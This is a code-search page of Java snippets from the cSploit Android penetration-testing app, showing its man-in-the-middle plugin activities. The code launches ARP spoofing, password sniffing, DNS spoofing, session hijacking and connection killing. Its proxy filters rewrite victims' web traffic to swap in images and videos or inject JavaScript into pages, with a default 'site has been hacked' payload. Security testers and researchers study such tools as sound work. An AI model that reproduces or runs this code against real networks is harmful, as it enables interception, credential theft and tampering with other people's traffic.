Search in sources :

Example 1 with OnSessionReadyListener

use of org.csploit.android.plugins.mitm.SpoofSession.OnSessionReadyListener in project android by cSploit.

the class MITM method onCreate.

@Override
public void onCreate(Bundle savedInstanceState) {
    SharedPreferences themePrefs = getSharedPreferences("THEME", 0);
    Boolean isDark = themePrefs.getBoolean("isDark", false);
    if (isDark)
        setTheme(R.style.DarkTheme);
    else
        setTheme(R.style.AppTheme);
    super.onCreate(savedInstanceState);
    new CheckForOpenPortsTask().execute();
    mActionListView = (ListView) findViewById(R.id.actionListView);
    mActionAdapter = new ActionAdapter(R.layout.plugin_mitm_list_item, mActions);
    mActionListView.setAdapter(mActionAdapter);
    mImagePicker = new Intent(Intent.ACTION_PICK, android.provider.MediaStore.Images.Media.EXTERNAL_CONTENT_URI);
    mImagePicker.setType("image/*");
    mImagePicker.putExtra(Intent.EXTRA_LOCAL_ONLY, true);
    mScriptPicker = new Intent();
    mScriptPicker.addCategory(Intent.CATEGORY_OPENABLE);
    mScriptPicker.setType("text/*");
    mScriptPicker.setAction(Intent.ACTION_GET_CONTENT);
    mScriptPicker.putExtra(Intent.EXTRA_LOCAL_ONLY, true);
    mActions.add(new Action(getString(R.string.mitm_simple_sniff), getString(R.string.mitm_simple_sniff_desc), R.drawable.action_sniffer, new OnClickListener() {

        @Override
        public void onClick(View v) {
            if (System.checkNetworking(MITM.this) == false)
                return;
            setStoppedState();
            startActivity(new Intent(MITM.this, Sniffer.class));
            overridePendingTransition(R.anim.fadeout, R.anim.fadein);
        }
    }, null));
    mActions.add(new Action(getString(R.string.mitm_password_sniff), getString(R.string.mitm_password_sniff_desc), R.drawable.action_passwords, new OnClickListener() {

        @Override
        public void onClick(View v) {
            if (!System.checkNetworking(MITM.this))
                return;
            setStoppedState();
            startActivity(new Intent(MITM.this, PasswordSniffer.class));
            overridePendingTransition(R.anim.fadeout, R.anim.fadein);
        }
    }, null));
    mActions.add(new Action(getString(R.string.mitm_dns_spoofing), getString(R.string.mitm_dns_spoofing_desc), R.drawable.action_redirect, new OnClickListener() {

        @Override
        public void onClick(View v) {
            if (!System.checkNetworking(MITM.this))
                return;
            setStoppedState();
            startActivity(new Intent(MITM.this, DNSSpoofing.class));
            overridePendingTransition(R.anim.fadeout, R.anim.fadein);
        }
    }, null));
    mActions.add(new Action(getString(R.string.mitm_session_hijack), getString(R.string.mitm_session_hijack_desc), R.drawable.action_hijack, new OnClickListener() {

        @Override
        public void onClick(View v) {
            if (!System.checkNetworking(MITM.this))
                return;
            setStoppedState();
            startActivity(new Intent(MITM.this, Hijacker.class));
            overridePendingTransition(R.anim.fadeout, R.anim.fadein);
        }
    }, null));
    mActions.add(new Action(getString(R.string.mitm_connection_kill), getString(R.string.mitm_connection_kill_desc), R.drawable.action_kill, new OnClickListener() {

        @Override
        public void onClick(View v) {
            if (!System.checkNetworking(MITM.this))
                return;
            final ProgressBar activity = (ProgressBar) v.findViewById(R.id.itemActivity);
            if (activity.getVisibility() == View.INVISIBLE) {
                if (System.getCurrentTarget().getType() != Target.Type.ENDPOINT) {
                    new ErrorDialog(getString(R.string.error), getString(R.string.mitm_connection_kill_error), MITM.this).show();
                } else if (!System.getNetwork().haveGateway() && !System.getNetwork().isTetheringEnabled()) {
                    new ErrorDialog(getString(R.string.error), "Connection killer requires a gateway or active Tethering", MITM.this).show();
                } else {
                    setStoppedState();
                    try {
                        if (System.getNetwork().haveGateway()) {
                            mConnectionKillerProcess = System.getTools().arpSpoof.spoof(System.getCurrentTarget(), new ArpSpoof.ArpSpoofReceiver() {

                                @Override
                                public void onStart(String cmd) {
                                    super.onStart(cmd);
                                    System.setForwarding(false);
                                }

                                @Override
                                public void onError(String line) {
                                    MITM.this.runOnUiThread(new Runnable() {

                                        @Override
                                        public void run() {
                                            Toast.makeText(MITM.this, "arpspoof error", Toast.LENGTH_LONG).show();
                                            activity.setVisibility(View.INVISIBLE);
                                        }
                                    });
                                }
                            });
                        } else {
                            mConnectionKillerProcess = null;
                            System.setForwarding(false);
                        }
                        activity.setVisibility(View.VISIBLE);
                        Toast.makeText(MITM.this, getString(R.string.tap_again), Toast.LENGTH_LONG).show();
                    } catch (ChildManager.ChildNotStartedException e) {
                        Toast.makeText(MITM.this, getString(R.string.child_not_started), Toast.LENGTH_LONG).show();
                    }
                }
            } else {
                if (mConnectionKillerProcess != null) {
                    mConnectionKillerProcess.kill(2);
                    mConnectionKillerProcess = null;
                }
                if (!System.getNetwork().haveGateway() && System.getNetwork().isTetheringEnabled()) {
                    System.setForwarding(true);
                }
                activity.setVisibility(View.INVISIBLE);
            }
        }
    }, new Action.ActionEnabler() {

        @Override
        public boolean isEnabled() {
            return System.getNetwork().haveGateway() || System.getNetwork().isTetheringEnabled();
        }
    }));
    mActions.add(new Action(getString(R.string.mitm_redirect), getString(R.string.mitm_redirect_desc), R.drawable.action_redirect, new OnClickListener() {

        @Override
        public void onClick(View v) {
            if (System.checkNetworking(MITM.this) == false)
                return;
            final ProgressBar activity = (ProgressBar) v.findViewById(R.id.itemActivity);
            if (activity.getVisibility() == View.INVISIBLE) {
                setStoppedState();
                new RedirectionDialog(getString(R.string.mitm_redirection), MITM.this, new RedirectionDialogListener() {

                    @Override
                    public void onInputEntered(String address, String port) {
                        if (address.isEmpty() == false && port.isEmpty() == false) {
                            try {
                                int iport = Integer.parseInt(port);
                                if (iport <= 0 || iport > 65535)
                                    throw new Exception(getString(R.string.error_port_outofrange));
                                address = address.startsWith("http") ? address : "http://" + address;
                                URL url = new URL(address);
                                address = url.getHost();
                                activity.setVisibility(View.VISIBLE);
                                Toast.makeText(MITM.this, getString(R.string.tap_again), Toast.LENGTH_LONG).show();
                                final String faddress = address;
                                final int fport = iport;
                                mSpoofSession = new SpoofSession();
                                mSpoofSession.start(new OnSessionReadyListener() {

                                    @Override
                                    public void onSessionReady() {
                                        System.getProxy().setRedirection(faddress, fport);
                                    }

                                    @Override
                                    public void onError(String error, int resId) {
                                        error = error == null ? getString(resId) : error;
                                        setSpoofErrorState(error);
                                    }
                                });
                            } catch (Exception e) {
                                new ErrorDialog(getString(R.string.error), e.getMessage(), MITM.this).show();
                            }
                        } else
                            new ErrorDialog(getString(R.string.error), getString(R.string.error_invalid_address_or_port), MITM.this).show();
                    }
                }).show();
            } else
                setStoppedState();
        }
    }, null));
    mActions.add(new Action(getString(R.string.mitm_image_replace), getString(R.string.mitm_image_replace_desc), R.drawable.action_image, new OnClickListener() {

        @Override
        public void onClick(View v) {
            if (System.checkNetworking(MITM.this) == false)
                return;
            final ProgressBar activity = (ProgressBar) v.findViewById(R.id.itemActivity);
            if (activity.getVisibility() == View.INVISIBLE) {
                setStoppedState();
                new ChoiceDialog(MITM.this, getString(R.string.choose_source), new String[] { getString(R.string.local_images), "Web URL" }, new ChoiceDialogListener() {

                    @Override
                    public void onChoice(int choice) {
                        if (choice == 0) {
                            try {
                                mCurrentActivity = activity;
                                startActivityForResult(mImagePicker, SELECT_PICTURE);
                            } catch (ActivityNotFoundException e) {
                                new ErrorDialog(getString(R.string.error), getString(R.string.error_image_intent), MITM.this).show();
                            }
                        } else {
                            new InputDialog(getString(R.string.image), getString(R.string.enter_image_url), "", true, false, MITM.this, new InputDialogListener() {

                                @Override
                                public void onInputEntered(String input) {
                                    String image = input.trim();
                                    if (image.isEmpty() == false) {
                                        image = image.startsWith("http") ? image : "http://" + image;
                                        activity.setVisibility(View.VISIBLE);
                                        final String resource = image;
                                        mSpoofSession = new SpoofSession();
                                        try {
                                            mSpoofSession.start(new OnSessionReadyListener() {

                                                @Override
                                                public void onSessionReady() {
                                                    System.getProxy().setFilter(new ProxyFilter() {

                                                        @Override
                                                        public String onDataReceived(String headers, String data) {
                                                            // handle img tags
                                                            data = data.replaceAll("(?i)<img([^/]+)src=(['\"])[^'\"]+(['\"])", "<img$1src=$2" + resource + "$3");
                                                            // handle css background declarations
                                                            data = data.replaceAll("(?i)background\\s*(:|-)\\s*url\\s*[\\(|:][^\\);]+\\)?.*", "background: url(" + resource + ")");
                                                            return data;
                                                        }
                                                    });
                                                }

                                                @Override
                                                public void onError(String error, int resId) {
                                                    error = error == null ? getString(resId) : error;
                                                    setSpoofErrorState(error);
                                                }
                                            });
                                            Toast.makeText(MITM.this, getString(R.string.tap_again), Toast.LENGTH_LONG).show();
                                        } catch (ChildManager.ChildNotStartedException e) {
                                            Toast.makeText(MITM.this, getString(R.string.child_not_started), Toast.LENGTH_LONG).show();
                                        }
                                    } else
                                        new ErrorDialog(getString(R.string.error), getString(R.string.error_image_url), MITM.this).show();
                                }
                            }).show();
                        }
                    }
                }).show();
            } else {
                mCurrentActivity = null;
                setStoppedState();
            }
        }
    }, null));
    mActions.add(new Action(getString(R.string.mitm_video_replace), getString(R.string.mitm_video_replace_desc), R.drawable.action_youtube, new OnClickListener() {

        @Override
        public void onClick(View v) {
            if (System.checkNetworking(MITM.this) == false)
                return;
            final ProgressBar activity = (ProgressBar) v.findViewById(R.id.itemActivity);
            if (activity.getVisibility() == View.INVISIBLE) {
                setStoppedState();
                new InputDialog(getString(R.string.video), getString(R.string.enter_video_url), "http://www.youtube.com/watch?v=dQw4w9WgXcQ", true, false, MITM.this, new InputDialogListener() {

                    @Override
                    public void onInputEntered(String input) {
                        final String video = input.trim();
                        Matcher matcher = YOUTUBE_PATTERN.matcher(input);
                        if (video.isEmpty() == false && matcher != null && matcher.find()) {
                            final String videoId = matcher.group(1);
                            mSpoofSession = new SpoofSession();
                            try {
                                mSpoofSession.start(new OnSessionReadyListener() {

                                    @Override
                                    public void onSessionReady() {
                                        System.getProxy().setFilter(new ProxyFilter() {

                                            @Override
                                            public String onDataReceived(String headers, String data) {
                                                if (data.matches("(?s).+/v=[a-zA-Z0-9_-]+.+"))
                                                    data = data.replaceAll("(?s)/v=[a-zA-Z0-9_-]+", "/v=" + videoId);
                                                else if (data.matches("(?s).+/v/[a-zA-Z0-9_-]+.+"))
                                                    data = data.replaceAll("(?s)/v/[a-zA-Z0-9_-]+", "/v/" + videoId);
                                                else if (data.matches("(?s).+/embed/[a-zA-Z0-9_-]+.+"))
                                                    data = data.replaceAll("(?s)/embed/[a-zA-Z0-9_-]+", "/embed/" + videoId);
                                                return data;
                                            }
                                        });
                                    }

                                    @Override
                                    public void onError(String error, int resId) {
                                        error = error == null ? getString(resId) : error;
                                        setSpoofErrorState(error);
                                    }
                                });
                                activity.setVisibility(View.VISIBLE);
                                Toast.makeText(MITM.this, getString(R.string.tap_again), Toast.LENGTH_LONG).show();
                            } catch (ChildManager.ChildNotStartedException e) {
                                System.errorLogging(e);
                                Toast.makeText(MITM.this, getString(R.string.child_not_started), Toast.LENGTH_LONG).show();
                            }
                        } else
                            new ErrorDialog(getString(R.string.error), getString(R.string.error_video_url), MITM.this).show();
                    }
                }).show();
            } else
                setStoppedState();
        }
    }, null));
    mActions.add(new Action(getString(R.string.mitm_script_injection), getString(R.string.mitm_script_injection_desc), R.drawable.action_injection, new OnClickListener() {

        @Override
        public void onClick(View v) {
            if (!System.checkNetworking(MITM.this))
                return;
            final ProgressBar activity = (ProgressBar) v.findViewById(R.id.itemActivity);
            if (activity.getVisibility() == View.INVISIBLE) {
                setStoppedState();
                new ChoiceDialog(MITM.this, getString(R.string.choose_method), new String[] { getString(R.string.local_files), getString(R.string.custom_code) }, new ChoiceDialogListener() {

                    @Override
                    public void onChoice(int choice) {
                        if (choice == 0) {
                            try {
                                mCurrentActivity = activity;
                                startActivityForResult(mScriptPicker, SELECT_SCRIPT);
                            } catch (ActivityNotFoundException e) {
                                new ErrorDialog(getString(R.string.error), getString(R.string.error_file_intent), MITM.this).show();
                            }
                        } else {
                            new InputDialog("Javascript", getString(R.string.enter_js_code), "<script type=\"text/javascript\">\n" + "  alert('This site has been hacked with cSploit!');\n" + "</script>", true, false, MITM.this, new InputDialogListener() {

                                @Override
                                public void onInputEntered(String input) {
                                    final String js = input.trim();
                                    if (js.isEmpty() == false || js.startsWith("<script") == false) {
                                        mSpoofSession = new SpoofSession();
                                        try {
                                            mSpoofSession.start(new OnSessionReadyListener() {

                                                @Override
                                                public void onSessionReady() {
                                                    System.getProxy().setFilter(new ProxyFilter() {

                                                        @Override
                                                        public String onDataReceived(String headers, String data) {
                                                            return data.replaceAll("(?i)</head>", js + "</head>");
                                                        }
                                                    });
                                                }

                                                @Override
                                                public void onError(String error, int resId) {
                                                    error = error == null ? getString(resId) : error;
                                                    setSpoofErrorState(error);
                                                }
                                            });
                                            activity.setVisibility(View.VISIBLE);
                                            Toast.makeText(MITM.this, getString(R.string.tap_again), Toast.LENGTH_LONG).show();
                                        } catch (ChildManager.ChildNotStartedException e) {
                                            System.errorLogging(e);
                                            Toast.makeText(MITM.this, getString(R.string.child_not_started), Toast.LENGTH_LONG).show();
                                        }
                                    } else
                                        new ErrorDialog(getString(R.string.error), getString(R.string.error_js_code), MITM.this).show();
                                }
                            }).show();
                        }
                    }
                }).show();
            } else {
                mCurrentActivity = null;
                setStoppedState();
            }
        }
    }, null));
    mActions.add(new Action(getString(R.string.mitm_custom), getString(R.string.mitm_custom_desc), new OnClickListener() {

        @Override
        public void onClick(View v) {
            if (!System.checkNetworking(MITM.this))
                return;
            final ProgressBar activity = (ProgressBar) v.findViewById(R.id.itemActivity);
            if (activity.getVisibility() == View.INVISIBLE) {
                setStoppedState();
                new CustomFilterDialog(getString(R.string.custom_filter), MITM.this, new CustomFilterDialogListener() {

                    @Override
                    public void onInputEntered(final ArrayList<String> from, final ArrayList<String> to) {
                        if (from.isEmpty() == false && to.isEmpty() == false) {
                            try {
                                for (String exp : from) {
                                    Pattern.compile(exp);
                                }
                                mSpoofSession = new SpoofSession();
                                mSpoofSession.start(new OnSessionReadyListener() {

                                    @Override
                                    public void onSessionReady() {
                                        System.getProxy().setFilter(new ProxyFilter() {

                                            @Override
                                            public String onDataReceived(String headers, String data) {
                                                for (int i = 0; i < from.size(); i++) {
                                                    data = data.replaceAll(from.get(i), to.get(i));
                                                }
                                                return data;
                                            }
                                        });
                                    }

                                    @Override
                                    public void onError(String error, int resId) {
                                        error = error == null ? getString(resId) : error;
                                        setSpoofErrorState(error);
                                    }
                                });
                                activity.setVisibility(View.VISIBLE);
                                Toast.makeText(MITM.this, getString(R.string.tap_again), Toast.LENGTH_LONG).show();
                            } catch (PatternSyntaxException e) {
                                new ErrorDialog(getString(R.string.error), getString(R.string.error_filter) + ": " + e.getDescription() + " .", MITM.this).show();
                            } catch (ChildManager.ChildNotStartedException e) {
                                System.errorLogging(e);
                                Toast.makeText(MITM.this, getString(R.string.child_not_started), Toast.LENGTH_LONG).show();
                            }
                        } else
                            new ErrorDialog(getString(R.string.error), getString(R.string.error_filter), MITM.this).show();
                    }
                }).show();
            } else
                setStoppedState();
        }
    }));
}
Also used : OnSessionReadyListener(org.csploit.android.plugins.mitm.SpoofSession.OnSessionReadyListener) ProxyFilter(org.csploit.android.net.http.proxy.Proxy.ProxyFilter) Matcher(java.util.regex.Matcher) Hijacker(org.csploit.android.plugins.mitm.hijacker.Hijacker) ArrayList(java.util.ArrayList) ChildManager(org.csploit.android.core.ChildManager) URL(java.net.URL) ChoiceDialog(org.csploit.android.gui.dialogs.ChoiceDialog) ProgressBar(android.widget.ProgressBar) ArpSpoof(org.csploit.android.tools.ArpSpoof) RedirectionDialog(org.csploit.android.gui.dialogs.RedirectionDialog) ChoiceDialogListener(org.csploit.android.gui.dialogs.ChoiceDialog.ChoiceDialogListener) PatternSyntaxException(java.util.regex.PatternSyntaxException) InputDialog(org.csploit.android.gui.dialogs.InputDialog) CustomFilterDialog(org.csploit.android.gui.dialogs.CustomFilterDialog) SharedPreferences(android.content.SharedPreferences) ErrorDialog(org.csploit.android.gui.dialogs.ErrorDialog) RedirectionDialogListener(org.csploit.android.gui.dialogs.RedirectionDialog.RedirectionDialogListener) Intent(android.content.Intent) CustomFilterDialogListener(org.csploit.android.gui.dialogs.CustomFilterDialog.CustomFilterDialogListener) ImageView(android.widget.ImageView) View(android.view.View) TextView(android.widget.TextView) ListView(android.widget.ListView) PatternSyntaxException(java.util.regex.PatternSyntaxException) ActivityNotFoundException(android.content.ActivityNotFoundException) InputDialogListener(org.csploit.android.gui.dialogs.InputDialog.InputDialogListener) ActivityNotFoundException(android.content.ActivityNotFoundException) OnClickListener(android.view.View.OnClickListener)

Example 2 with OnSessionReadyListener

use of org.csploit.android.plugins.mitm.SpoofSession.OnSessionReadyListener in project android by cSploit.

the class MITM method onActivityResult.

@Override
protected void onActivityResult(int request, int result, Intent intent) {
    super.onActivityResult(request, result, intent);
    if (request == SELECT_PICTURE && result == RESULT_OK) {
        try {
            Uri uri = intent.getData();
            String fileName = null, mimeType = null;
            if (uri != null) {
                String[] columns = { MediaColumns.DATA };
                Cursor cursor = getContentResolver().query(uri, columns, null, null, null);
                cursor.moveToFirst();
                int index = cursor.getColumnIndex(MediaColumns.DATA);
                if (index != -1) {
                    fileName = cursor.getString(index);
                }
                cursor.close();
            }
            if (fileName == null) {
                setStoppedState();
                new ErrorDialog(getString(R.string.error), getString(R.string.error_filepath2), MITM.this).show();
            } else {
                mimeType = System.getImageMimeType(fileName);
                mSpoofSession = new SpoofSession(true, true, fileName, mimeType);
                if (mCurrentActivity != null)
                    mCurrentActivity.setVisibility(View.VISIBLE);
                mSpoofSession.start(new OnSessionReadyListener() {

                    @Override
                    public void onSessionReady() {
                        MITM.this.runOnUiThread(new Runnable() {

                            @Override
                            public void run() {
                                System.getProxy().setFilter(new Proxy.ProxyFilter() {

                                    @Override
                                    public String onDataReceived(String headers, String data) {
                                        String resource = System.getServer().getResourceURL();
                                        // handle img tags
                                        data = data.replaceAll("(?i)<img([^/]+)src=(['\"])[^'\"]+(['\"])", "<img$1src=$2" + resource + "$3");
                                        // handle css background declarations
                                        data = data.replaceAll("(?i)background\\s*(:|-)\\s*url\\s*[\\(|:][^\\);]+\\)?.*", "background: url(" + resource + ")");
                                        return data;
                                    }
                                });
                                Toast.makeText(MITM.this, getString(R.string.tap_again), Toast.LENGTH_LONG).show();
                            }
                        });
                    }

                    @Override
                    public void onError(String error, int resId) {
                        error = error == null ? getString(resId) : error;
                        setSpoofErrorState(error);
                    }
                });
            }
        } catch (Exception e) {
            System.errorLogging(e);
        }
    } else if (request == SELECT_SCRIPT && result == RESULT_OK) {
        String fileName = null;
        if (intent != null && intent.getData() != null)
            fileName = intent.getData().getPath();
        if (fileName == null) {
            new ErrorDialog(getString(R.string.error), getString(R.string.error_filepath), MITM.this).show();
        } else {
            try {
                StringBuffer buffer = new StringBuffer();
                BufferedReader reader = new BufferedReader(new FileReader(fileName));
                char[] buf = new char[1024];
                int read = 0;
                String js = "";
                while ((read = reader.read(buf)) != -1) {
                    buffer.append(String.valueOf(buf, 0, read));
                }
                reader.close();
                js = buffer.toString().trim();
                if (js.startsWith("<script") == false && js.startsWith("<SCRIPT") == false)
                    js = "<script type=\"text/javascript\">\n" + js + "\n</script>\n";
                mCurrentActivity.setVisibility(View.VISIBLE);
                Toast.makeText(MITM.this, getString(R.string.tap_again), Toast.LENGTH_LONG).show();
                final String code = js;
                mSpoofSession = new SpoofSession();
                mSpoofSession.start(new OnSessionReadyListener() {

                    @Override
                    public void onSessionReady() {
                        System.getProxy().setFilter(new Proxy.ProxyFilter() {

                            @Override
                            public String onDataReceived(String headers, String data) {
                                return data.replaceAll("(?i)</head>", code + "</head>");
                            }
                        });
                    }

                    @Override
                    public void onError(String error, int resId) {
                        error = error == null ? getString(resId) : error;
                        setSpoofErrorState(error);
                    }
                });
            } catch (Exception e) {
                new ErrorDialog(getString(R.string.error), getString(R.string.unexpected_file_error) + e.getMessage(), MITM.this).show();
            }
        }
    } else if (request == SettingsFragment.SETTINGS_DONE) {
        new CheckForOpenPortsTask().execute();
    }
}
Also used : OnSessionReadyListener(org.csploit.android.plugins.mitm.SpoofSession.OnSessionReadyListener) ProxyFilter(org.csploit.android.net.http.proxy.Proxy.ProxyFilter) ErrorDialog(org.csploit.android.gui.dialogs.ErrorDialog) Cursor(android.database.Cursor) Uri(android.net.Uri) PatternSyntaxException(java.util.regex.PatternSyntaxException) ActivityNotFoundException(android.content.ActivityNotFoundException) Proxy(org.csploit.android.net.http.proxy.Proxy) BufferedReader(java.io.BufferedReader) FileReader(java.io.FileReader)

Example 3 with OnSessionReadyListener

use of org.csploit.android.plugins.mitm.SpoofSession.OnSessionReadyListener in project android by cSploit.

the class Sniffer method setStartedState.

private void setStartedState() {
    if (mRunning)
        setStoppedState();
    if (mDumpToFile) {
        mSampleTime = 100;
        startMonitoringPcapFile();
    } else
        mSampleTime = 1000;
    try {
        mSpoofSession.start(new OnSessionReadyListener() {

            @Override
            public void onError(String error, int resId) {
                error = error == null ? getString(resId) : error;
                setSpoofErrorState(error);
            }

            @Override
            public void onSessionReady() {
                if (mTcpdumpProcess != null) {
                    mTcpdumpProcess.kill();
                }
                try {
                    mRunning = true;
                    mSniffProgress.setVisibility(View.VISIBLE);
                    mTcpdumpProcess = System.getTools().tcpDump.sniff(PCAP_FILTER, mPcapFileName, new TcpDump.TcpDumpReceiver() {

                        @Override
                        public void onPacket(InetAddress src, InetAddress dst, int len) {
                            long now = java.lang.System.currentTimeMillis();
                            AddressStats stats = null;
                            String stringAddress = null;
                            if (System.getNetwork().isInternal(src)) {
                                stringAddress = src.getHostAddress();
                                stats = mAdapter.getStats(stringAddress);
                            } else if (System.getNetwork().isInternal(dst)) {
                                stringAddress = dst.getHostAddress();
                                stats = mAdapter.getStats(stringAddress);
                            }
                            if (stats == null) {
                                if (stringAddress == null)
                                    return;
                                stats = new AddressStats(stringAddress);
                                stats.mBytes = len;
                                stats.mSampledTime = now;
                            } else {
                                updateStats(stats, len);
                            }
                            final AddressStats fstats = stats;
                            addNewTarget(fstats);
                        }
                    });
                } catch (ChildManager.ChildNotStartedException e) {
                    Sniffer.this.runOnUiThread(new Runnable() {

                        @Override
                        public void run() {
                            Toast.makeText(Sniffer.this, getString(R.string.child_not_started), Toast.LENGTH_LONG).show();
                            setStoppedState();
                        }
                    });
                }
            }
        });
    } catch (ChildManager.ChildNotStartedException e) {
        setStoppedState();
    }
}
Also used : OnSessionReadyListener(org.csploit.android.plugins.mitm.SpoofSession.OnSessionReadyListener) TcpDump(org.csploit.android.tools.TcpDump) InetAddress(java.net.InetAddress) ChildManager(org.csploit.android.core.ChildManager)

Example 4 with OnSessionReadyListener

use of org.csploit.android.plugins.mitm.SpoofSession.OnSessionReadyListener in project android by cSploit.

the class Hijacker method setStartedState.

private void setStartedState() {
    if (System.getProxy() != null)
        System.getProxy().setOnRequestListener(mRequestListener);
    try {
        mSpoof.start(new OnSessionReadyListener() {

            @Override
            public void onSessionReady() {
                Hijacker.this.runOnUiThread(new Runnable() {

                    @Override
                    public void run() {
                        mHijackToggleButton.setText(R.string.stop);
                        mHijackProgress.setVisibility(View.VISIBLE);
                        mRunning = true;
                    }
                });
            }

            @Override
            public void onError(String error, int resId) {
                error = error == null ? getString(resId) : error;
                setSpoofErrorState(error);
            }
        });
    } catch (ChildManager.ChildNotStartedException e) {
        Logger.error(e.getMessage());
        Toast.makeText(Hijacker.this, getString(R.string.child_not_started), Toast.LENGTH_LONG).show();
    }
}
Also used : OnSessionReadyListener(org.csploit.android.plugins.mitm.SpoofSession.OnSessionReadyListener) ChildManager(org.csploit.android.core.ChildManager)

Aggregations

OnSessionReadyListener (org.csploit.android.plugins.mitm.SpoofSession.OnSessionReadyListener)4 ChildManager (org.csploit.android.core.ChildManager)3 ActivityNotFoundException (android.content.ActivityNotFoundException)2 PatternSyntaxException (java.util.regex.PatternSyntaxException)2 ErrorDialog (org.csploit.android.gui.dialogs.ErrorDialog)2 ProxyFilter (org.csploit.android.net.http.proxy.Proxy.ProxyFilter)2 Intent (android.content.Intent)1 SharedPreferences (android.content.SharedPreferences)1 Cursor (android.database.Cursor)1 Uri (android.net.Uri)1 View (android.view.View)1 OnClickListener (android.view.View.OnClickListener)1 ImageView (android.widget.ImageView)1 ListView (android.widget.ListView)1 ProgressBar (android.widget.ProgressBar)1 TextView (android.widget.TextView)1 BufferedReader (java.io.BufferedReader)1 FileReader (java.io.FileReader)1 InetAddress (java.net.InetAddress)1 URL (java.net.URL)1